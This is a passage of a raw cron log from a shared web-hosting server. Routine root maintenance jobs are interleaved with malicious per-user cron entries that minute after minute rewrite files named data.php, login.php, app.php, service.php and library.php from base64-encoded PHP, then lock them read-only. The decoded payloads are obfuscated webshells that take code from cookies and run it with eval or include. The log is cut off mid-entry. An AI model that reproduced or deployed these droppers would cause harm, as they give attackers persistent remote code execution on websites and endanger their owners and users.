Mar  1 10:25:01 medusa CROND[1518]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:25:01 medusa CROND[1516]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:25:01 medusa CROND[1511]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:26:01 medusa CROND[22375]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:26:01 medusa CROND[22376]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:26:01 medusa CROND[22377]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:26:01 medusa CROND[22380]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:26:01 medusa CROND[22381]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:26:01 medusa CROND[22382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:26:01 medusa CROND[22384]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:26:01 medusa CROND[22392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:26:01 medusa CROND[22393]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:26:01 medusa CROND[22394]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:26:01 medusa CROND[22395]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:26:01 medusa CROND[22400]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:26:01 medusa CROND[22402]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:26:01 medusa CROND[22404]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:27:01 medusa CROND[12006]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:27:01 medusa CROND[12007]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:27:01 medusa CROND[12008]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:27:01 medusa CROND[12009]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:27:01 medusa CROND[12010]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:27:01 medusa CROND[12011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:27:01 medusa CROND[12012]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:27:01 medusa CROND[12014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:27:01 medusa CROND[12015]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:27:01 medusa CROND[12020]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:27:01 medusa CROND[12021]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:27:01 medusa CROND[12017]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:28:02 medusa CROND[2015]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOj